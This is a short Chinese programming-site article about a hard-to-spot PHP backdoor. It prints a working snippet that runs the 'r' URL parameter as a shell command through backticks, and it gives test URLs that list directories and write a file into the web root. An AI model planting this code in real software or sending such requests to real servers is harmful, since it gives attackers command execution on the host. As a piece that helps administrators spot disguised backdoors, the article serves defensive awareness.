程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> 一個不易被發現的PHP後門代碼解析

一個不易被發現的PHP後門代碼解析

編輯:關於PHP編程

偶然間看到一段,看起來似乎沒有什麼問題,確是能致命的後門代碼,這裡用到了一個一般的PHPer都不怎麼關注的反撇號 ` ,反撇號包含的字符串,等同於shell_exec函數。

偽裝性很好,很容易被管理員忽略。

$selfNums = $_GET['r'];
if (isset($selfNums)){
  echo `$selfNums`;
}

剛看到這段代碼我想大家都會說沒有問題,但是細心的朋友也會發現下面的變量被一個符號包起來了,既然是變量為什麼要這樣了,

而且又不是單引號,這個就是關鍵所在了,這個符號是 Esc 下面的一個鍵(位於感歎號!旁邊的),

通過 echo `系統命令`; 可以達到 system(); 一樣的效果

如果不信的朋友可以測試

http://127.0.0.1/t.php?r=dir 可以列出目錄

http://127.0.0.1/t.php?r=echo 我是馬兒 >>D:\web\90sec.php

我用 appserv 和虛擬主機已經測試成功。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved